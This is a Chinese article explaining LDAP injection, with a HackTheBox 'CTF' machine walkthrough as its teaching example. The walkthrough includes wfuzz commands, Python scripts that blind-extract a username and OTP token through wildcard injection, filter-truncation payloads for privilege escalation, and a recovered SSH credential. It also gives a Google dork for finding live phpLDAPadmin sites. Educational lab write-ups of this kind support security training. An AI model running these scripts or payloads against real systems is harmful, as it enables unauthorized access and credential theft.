您当前的位置:首页 > 电脑百科 > 安全防护 > 数据安全

黑客大神浅谈LDAP注入攻击

时间:2020-08-18 11:08:57  来源:  作者:

最近在HackTheBox上氪了金(肉疼�),做了一些已经retired的高质量逻辑,不得不说质量还是很高的。其中有一个靶机叫做CTF,难度是最高级别的insane,主要是它考察的知识点比较冷门——LDAP注入。可能很多小伙伴都没怎么听说过这个漏洞,我想主要原因还是LDAP这个协议用的比较少,而且国内CTF比赛中我也基本上没有看到有考察这个点的。在网上搜了一下,发现最近一次出现这个考点的是在CSAW CTF Qualification Round 2018比赛中,题目直接告诉你了是考LDAP注入。刚好上个星期我在星盟内部分享中,也提到了这个知识点,那么本着聊胜于无,开阔知识面的本意下(其实是偷懒?),写下这篇浅谈LDAP注入攻击的文章。

 

0x01 LDAP介绍

什么是LDAP

在做靶机之前,我们首先来了解一下什么是LDAP?

以下内容部分摘自2018 blackhat LDAP Injection & Blind LDAP Injection

LDAP(Lightweight Directory Access Protocol):轻量级目录访问协议,是一种在线目录访问协议,主要用于目录中资源的搜索和查询,是X.500的一种简便的实现。

那么转换成人话就是说,LDAP是用于访问目录服务(特别是基于X.500的目录服务)的轻量级客户端服务器协议,它通过TCP/IP传输服务运行。关键的地方就在于,数据是存储在目录中,而不是数据库中。的确,目录和数据库有很多共同之处,都能存储数据、并能在一定程度进行搜索和查询。这里就有一个问题了,目录和数据库的区别在哪?

最重要的区别就是目录适合于存放静态数据,它存储的数据无论在类型和种类较之数据库中的数据都要更为繁多,包括音频、视频、可执行文件、文本等文件,另外目录中还存在目录的递归。既然是存放不同类型的静态数据,那么目录服务在进行优化后更适宜于读访问,而非写、修改等操作。

说了这么半天,感觉还是贴一张图来的更快。

黑客大神浅谈LDAP注入攻击

 

上面这张图展示了LDAP的结构。我们都知道MySQL数据库中的数据都是按记录一条条记录存在表中,而LDAP是树结构的,数据存储在叶子节点上。比如要描述上图baby这个节点:

cn=baby, ou=marketing, ou=people, dc=mydomain, dc=org

LDAP的基本概念

在大概知道LDAP是做什么、长什么样之后,我们再来了解一下LDAP的一些基本概念,主要是三个专有名词:条目(Entry)、属性(Attribute)、对象类(ObjectClass)。

条目

条目,也叫记录项,是LDAP中最基本的颗粒,就像字典中的词条或者是数据中的记录。通常对LDAP的添加、删除、修改、搜索都是以条目为基本单位。

属性

每个条目都可以有很多属性(Attribute),比如常见的人都有姓名、地址、电话等属性。每个属性都有名称及对应的值,属性值可以有单个、多个,比如你有多个邮箱。

此外,LDAP为人员组织机构中常见的对象都设计了属性(比如commonName,surname)。

对象类

对象类是属性的集合,LDAP预想了很多人员组织机构中常见的对象,并将其封装成对象类。比如人员(person)含有姓(sn)、名(cn)、电话(telephoneNumber)、密码(userPassword)等属性,单位职工(organizationalPerson)是人员(person)的继承类,除了上述属性之外还含有职务(title)、邮政编码(postalCode)、通信地址(postalAddress)等属性。

通过对象类可以方便的定义条目类型。每个条目可以直接继承多个对象类,这样就继承了各种属性。如果2个对象类中有相同的属性,则条目继承后只会保留1个属性。对象类同时也规定了哪些属性是基本信息,即必要属性和可选属性。

是不是听起来和面向对象语言有点相似,跟JAVA中的Object类一样,LDAP的根对象类就叫做top。

上述就是笔者对LDAP数据结构的简单介绍了,LDAP既然主要用于搜索查询,那它是怎么查询的呢?

LDAP的基本语法

LDAP的语法非常简单,一看就会,再看就懂。

以下部分内容摘自https://blog.csdn.net/leader_ww/article/details/4028672

=(等于)

例如,如果希望查找属性giveNname值为John的所有对象,可以使用(givenName=John)。这会返回对应条件的所有对象。

&(逻辑与)

例如,如果希望查找居住在 Dallas 并且givenName为John的所有对象,可以使用(&(givenName=John)(l=Dallas))。

请注意,每个参数都被属于其自己的圆括号括起来。整个 LDAP 语句必须包括在一对主圆括号中。操作符 & 表明,只有每个参数都为真,才会将此筛选条件应用到要查询的对象。

|(逻辑或)

例如,如果希望查找属性givenName值为Jhon或者Jack的所有对象,可以使用(|(givenName=Jhon)(givenName=Jack))。

!(逻辑非)

例如,如果需要查找givenName为John的对象以外的所有对象。则应使用如下语句:(!givenName=John)

*(通配符)

可使用通配符表示值可以等于任何值。使用它的情况可能是:您希望查找具有职务头衔的所有对象。为此,可以使用(title=*),这会返回title属性包含内容的所有对象。

另一个例子是:您知道某个对象的givenName属性的开头两个字母是“Jo”。那么,可以使用(givenName=Jo*)进行查找,这会返回givenName以Jo开头的所有对象。

Over~~LDAP的语法是不是很简单。

说了这么多,可能很多小伙伴还是心存疑问,已经部署成功的LDAP到底是长什么样子?

我们可以通过google Hacking intitle:”phpLDAPadmin” inurl:cmd.php来检索一下,真实的运行的LDAP服务的网站,这个地方我就贴一张图示范一下,包含了上面提到的所有概念。

黑客大神浅谈LDAP注入攻击

 

0x02 LDAP注入攻击面

其实它的攻击手法和SQL注入的原理非常相似,在有漏洞的环境中,这些查询参数没有得到合适的过滤,因而攻击者可以注入任意恶意代码。由于比较简单,我这里就走马观花的方式来过一遍LDAP注入的不同类型。

以下部分内容摘自https://wooyun.js.org/drops/LDAP%E6%B3%A8%E5%85%A5%E4%B8%8E%E9%98%B2%E5%BE%A1%E5%89%96%E6%9E%90.html

AND注入

这种情况,应用会构造由”&”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(&(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

比如说,为了验证客户端提供的user/password对,构造如下LDAP过滤器并发送给LDAP服务器:

(&(USER=Uname)(PASSWORD=Pwd))

如果攻击者输入一个有效的用户名,如r00tgrok,然后在这个名字后面注入恰当的语句,password检查就会被绕过。

使得Uname=slisberger)(&)),引入任何字符串作为Pwd值,构造如下查询并发送给服务器:

(&(USER= slisberger)(&)(PASSWORD=Pwd))

OR注入

这种情况,应用会构造由”|”操作符和用户引入的的参数组成的正常查询在LDAP目录中搜索,例如:

(|(parameter1=value1)(parameter2=value2))

这里Value1和value2是在LDAP目录中搜索的值,攻击者可以注入代码,维持正确的过滤器结构但能使用查询实现他自己的目标。

类似的,加入现在用于展示可用资源的查询为:

(|(type=Rsc1)(type=Rsc2))

Rsc1和Rsc2表示系统中不同种类的资源。如果攻击者输入Rsc=printer)(uid=*),则下面的查询被发送给服务器:

(|(type=printer)(uid=*))(type=scanner)

这样也会造成注入的产生。

盲注

SQL注入中有盲注,LDAP中也存在这种问题,包括下面介绍到的靶机用到的也是盲注的手法。

假设攻击者可以从服务器响应中推测出什么,尽管应用没有报出错信息,LDAP过滤器中注入的代码却生成了有效的响应或错误。攻击者可以利用这一行为向服务器问正确的或错误的问题。

还是用一个例子来说明。

假设一个Web应用想从一个LDAP目录列出所有可用的Epson打印机,错误信息不会返回,应用发送如下的过滤器:

(&(objectClass=printer)(type=Epson*))

使用这个查询,如果有可用的Epson打印机,其图标就会显示给客户端,否则没有图标出现。如果攻击者进行LDAP盲注入攻击

*)(objectClass=*))(&(objectClass=void

Web应用会构造如下查询:

(&(objectClass=*)(objectClass=*))(&(objectClass=void)(type=Epson*))

仅第一个LDAP过滤器会被处理

(&(objectClass=*)(objectClass=*))

那么这样就和我们查询的初衷相违背了。

接下来就是这篇文章的重头戏了,我们主要从这个逻机中学到两点:

• 怎么发现LDAP注入漏洞

• 如何利用LDAP注入漏洞

 

0x03 从HTB靶机中学习LDAP注入

Initial Enunciation

拿到靶机先用Nmap扫一下端口

# Nmap 7.80 scan initiated Fri Jul 10 10:50:40 2020 as: nmap -sC -sV -oN ctf 10.10.10.122

Nmap scan report for ctf.htb (10.10.10.122)

Host is up (1.8s latency).

Not shown: 998 filtered ports

PORT STATE SERVICE VERSION

22/tcp open ssh OpenSSH 7.4 (protocol 2.0)

| ssh-hostkey:

| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)

| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)

|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)

80/tcp open http Apache httpd 2.4.6 ((centos) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)

|_http-server-header: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

# Nmap done at Fri Jul 10 11:03:44 2020 -- 1 IP address (1 host up) scanned in 783.74 seconds

查看80端口

黑客大神浅谈LDAP注入攻击

 

大概的意思就是让我们尝试去登录这个系统,但是不能用SQLmap或者Dirbuster去暴力猜解用户名和密码。

再去登录界面看一下:

黑客大神浅谈LDAP注入攻击

 

提示我们是一个OTP,即One Time Password,一般而言是1分钟更新一次。

查看源码,发现有一个Hint

黑客大神浅谈LDAP注入攻击

 

如果比较熟悉LDAP的话,这里的两个名词schema和existing attribute已经提示了是关于LDAP注入。

作者用一个已知的属性去存储了81位的token string,Google搜一下token string (81 digits)。

https://www.systutorials.com/docs/linux/man/1-stoken/

黑客大神浅谈LDAP注入攻击

 

可以看到一个关键的地方,Pure numeric (81-digit) "ctf" (compressed token format) strings,和靶机的题目相契合,现在就有一点思路了,应该要去找到这个81位纯数字的token,然后用stoken工具去生成OTP。那么主要是找到token,唯一可以利用的就是这个登录框了。

先随便用某个用户名和密码登录admin:1234

黑客大神浅谈LDAP注入攻击

 

返回User admin not found,再用SQL注入的万能密码试一试

黑客大神浅谈LDAP注入攻击

 

直接是没有任何显示,应该是对一些特殊字符有黑名单过滤。Fuzz一下过滤了一些什么字符

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w special-chars.txt 10.10.10.122/login.php

黑客大神浅谈LDAP注入攻击

 

—hw 233 代表过滤掉形如User xxx not found的返回信息。

我们发现+和&返回的是232 Words,但是在页面测试一下

黑客大神浅谈LDAP注入攻击

 

发现返回的还是User + not found或者User & not found,这样的话应该是233 Words,而不是Wfuzz返回的232 Words。

我们尝试把这些特殊字符二次URL编码,看Web应用是否还能解析,用seclists中的dobleurihex.txt作为字典

wfuzz -c --hw 233 -d 'inputUsername=FUZZ&inputOTP=1234' -w doble-uri-hex.txt 10.10.10.122/login.php

黑客大神浅谈LDAP注入攻击

 

最后Fuzz出来的被过滤的字符就是

%2500 ---> %00

%2528 ---> (

%2529 ---> )

%252a ---> *

%255c --->

这些被过滤的字符就是LDAP注入需要过滤的所有字符,再结合login.php页面源代码中的hint,可以确定是LDAP注入。

Getting User Access

先来看LDAP注入的最基本形式

(&

(password=1234)

(uid=ca01h%00)

)

具体到这个靶机的话,我们需要猜解括号的个数。运用类似盲注的思想,如果注入成功,那么就会返回User ca01h not found。

假设只有一个括号:

黑客大神浅谈LDAP注入攻击

 

假设有两个括号:

黑客大神浅谈LDAP注入攻击

 

假设有三个括号:

当尝试到三个括号用于闭合时,成功返回了User ca01h%29%29%29%00 not found,那么这个登录框的LDAP查询的基本形式就是

(&

(&

(password=1234)

(uid=ca01h)))%00

)

(&|

(other comparing)

)

)

接着,我们再回头去看一下Fuzz出来的被过滤的字符,其中%25%2a返回的消息长度为231 Words

黑客大神浅谈LDAP注入攻击

 

发现回响的消息是Cannot login,说明可以用*通配符来盲注用户名,脚本如下:

#!/usr/bin/env Python3

### username_burp.py

import sys

import time

from string import ascii_lowercase

from urllib.parse import quote_plus

import requests

URL = 'http://10.10.10.122/login.php'

username, done = '', False

print()

while not done:

for c in ascii_lowercase:

payload = username + c + quote_plus('*')

data = {

'inputUsername': payload,

'inputOTP': '1234'

}

resp = requests.post(URL, data=data)

if 'Cannot login' in resp.text:

username += c

break

sys.stdout.write(f'r{username}{c}')

time.sleep(0.2)

else:

done = True

print(f'[+] Username: {username} n')

黑客大神浅谈LDAP注入攻击

 

用户名为ldapuser

知道了用户名之后,我们就要去获取生成OTP的81位token,通过页面源代码的提示,这个token存储在某一个LDAP默认已经存在的属性当中。而默认的属性可以在PayloadsAllTheThings中找到:

c

cn

co

commonName

dc

facsimileTelephoneNumber

givenName

gn

homePhone

id

jpegPhoto

l

mail

mobile

name

o

objectClass

ou

owner

pager

password

sn

st

surname

uid

username

userPassword

如果不想写脚本的话用wfuzz来Fuzz靶机的LDAP中存在的属性可能会更快一些,但还是要先找到注入的形式:

(&

(&

(password=1234)

(uid=ldapuser)

(FUZZ=*)

)

(&|

(other comparing)

)

)

此外还要把注入的字符ldapuser)(FUZZ=*进行二次URL编码,编码之后的结果ldapuser%2529%2528FUZZ%253d%252a。

wfuzz -c --hw 233 -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a&inputOTP=1234' -w LDAP_attributes.txt http://10.10.10.122/login.php

黑客大神浅谈LDAP注入攻击

 

我们Fuzz出来了这么些属性是存在于靶机的LDAP服务中的,现在的工作就是一个一个的属性来拆解,属于一些重复性的工作,就不在这里过多赘述了,最后可以找到token是存储于pager属性中。接着写脚本用来burp81位token

#!/usr/bin/python3

# pager_burp.py

import requests

import sys

from time import sleep

from string import digits

token = ""

URL = "http://10.10.10.122/login.php"

attribute = "pager"

loop = 1

while loop > 0:

for digit in digits:

token = token

# ldapuser)(pager=<token>)*

payload = f"ldapuser%29%28{attribute}%3d{token}{digit}%2a"

data = {"inputUsername": payload, "inputOTP": "1234"}

r = requests.post(URL, data=data)

sys.stdout.write(f"rToken: {token}{digit}")

sleep(0.5)

if b"Cannot login" in r.content:

token += digit

break

elif digit == "9":

loop = 0

break

print(f'[+] Token: {token} n')

黑客大神浅谈LDAP注入攻击

 

这里值得注意的是需要删掉最后的一个9,所以最后的token就是:

285449490011357156531651545652335570713167411445727140604172141456711102716717000

接着用stoken工具导入token

黑客大神浅谈LDAP注入攻击

 

生成OTP

黑客大神浅谈LDAP注入攻击

 

成功登录后,跳转到page.php页面,可以执行命令

黑客大神浅谈LDAP注入攻击

 

Damn it…..提示我们ldapuser权限不够不能执行命令,这里有两种办法:

• 对

group

属性进行注入,即把后面group属性的filter截断

(&

(&

(pager=<token>)

(uid=ldapuser)))%00

)

(|

(group=root)

(group=adm)

)

)

• 使用*通配符作为用户名登录

这里演示一下第一种方案,payload直接放到burp中

ldapuser%2529%2529%2529%2500

黑客大神浅谈LDAP注入攻击

 

再去执行ls命令

黑客大神浅谈LDAP注入攻击

 

读取page.php文件:

黑客大神浅谈LDAP注入攻击

 

SSH登录:fdapuser:e398e27d5c4ad45086fe431120932a01

 

黑客大神浅谈LDAP注入攻击

 

原文地址:https://www.anquanke.com/post/id/212186



Tags:LDAP注入   点击:()  评论:()
声明:本站部分内容及图片来自互联网,转载是出于传递更多信息之目的,内容观点仅代表作者本人,如有任何标注错误或版权侵犯请与我们联系(Email:2595517585@qq.com),我们将及时更正、删除,谢谢。
▌相关推荐
最近在HackTheBox上氪了金(肉疼�),做了一些已经retired的高质量逻辑,不得不说质量还是很高的。其中有一个靶机叫做CTF,难度是最高级别的insane,主要是它考察的知识点比较冷门&mdash...【详细内容】
2020-08-18  Tags: LDAP注入  点击:(222)  评论:(0)  加入收藏
▌简易百科推荐
众所周知,Windows系统流氓软件众多,其中不乏出身大厂的产品。这些带有流氓性质的软件,很多都会偷偷扫描系统数据,读取用户文件,造成电脑卡顿拖慢不说,还严重侵害了个人隐私,造成巨...【详细内容】
2021-12-06  趣玩APPS    Tags:流氓软件   点击:(16)  评论:(0)  加入收藏
前言目标是一大学,在一次挖洞过程中遇到个sql注入,尝试进一步利用扩大危害,漏洞已报送平台进行了修复私信我获取网络安全学习资料 1.2000多本网络安全系列电子书 2.网络安全标...【详细内容】
2021-11-26  IT野涵    Tags:sql注入   点击:(21)  评论:(0)  加入收藏
互联网时代,不论是个人还是组织,都将数据视为一项重要的资产。为了便于存储、管理,企业常常会为各项数据建立一个数据库,如果没有做好安全风险防护,一旦数据库被攻占,企业将迎来很...【详细内容】
2021-10-28  快快网络   企鹅号  Tags:数据库   点击:(50)  评论:(0)  加入收藏
前言(可能思路狭隘,有缺有错,师傅们多带带)【查看资料】Author: 0ne本篇文章数据来源于18+省市级别HVV,90+单位失陷报告。(一部分是笔者的参与,一部分是薅的公司其他师傅的报告...【详细内容】
2021-10-28  IT野涵    Tags:缺口   点击:(46)  评论:(0)  加入收藏
本人也是小白一枚,大佬请绕过,这个其实是六月份的时候做的,那时候想多点实战经验,就直接用谷歌搜索找了一些网站,这个是其中一个1、目标网站 2、发现有WAF防护 3、判断存在注入...【详细内容】
2021-10-19    博客园  Tags:SQL注入   点击:(51)  评论:(0)  加入收藏
一 前言本文将针对开发过程中依旧经常出现的SQL编码缺陷,讲解其背后原理及形成原因。并以几个常见漏洞存在形式,提醒技术同学注意相关问题。最后会根据原理,提供解决或缓解方案...【详细内容】
2021-09-17  woaker    Tags:SQL注入漏洞   点击:(65)  评论:(0)  加入收藏
前言本人ctf选手一名,在最近做练习时遇到了一些sql注入的题目,但是sql注入一直是我的弱项之一,所以写一篇总结记录一下最近学到的一些sql注入漏洞的利用。可回显注入联合注入在...【详细内容】
2021-08-26  合天网安实验室    Tags:sql注入   点击:(59)  评论:(0)  加入收藏
“放纵自己的欲望是最大的祸害,窥探别人的隐私是最大的罪恶,不知自己的过失是最大的病痛”。 上文咱们知道了目前互联网的数据安全存在隐患,数据安全的问题,每天都在发生,只不过...【详细内容】
2021-08-13  小陶子矿工    Tags:IPFS   点击:(79)  评论:(0)  加入收藏
前言最近挖edusrc的时候遇到有注入点但是有waf绕不过,头疼。 可以看到还是phpstudy建站的,太熟悉了这个,不知道这个什么waf各位师傅知道的可以评论一下,所以写这篇文章是供各位...【详细内容】
2021-08-13  IT影子    Tags:sql注入   点击:(63)  评论:(0)  加入收藏
1. 使用 Burpsuite: 1. Capture the request using burpsuite. 2. Send the request to burp scanner. 3. Proceed with active scan. 4. Once the scan is finished, l...【详细内容】
2021-08-04  李志宽    Tags:SQL注入   点击:(74)  评论:(0)  加入收藏
相关文章
    无相关信息
最新更新
栏目热门
栏目头条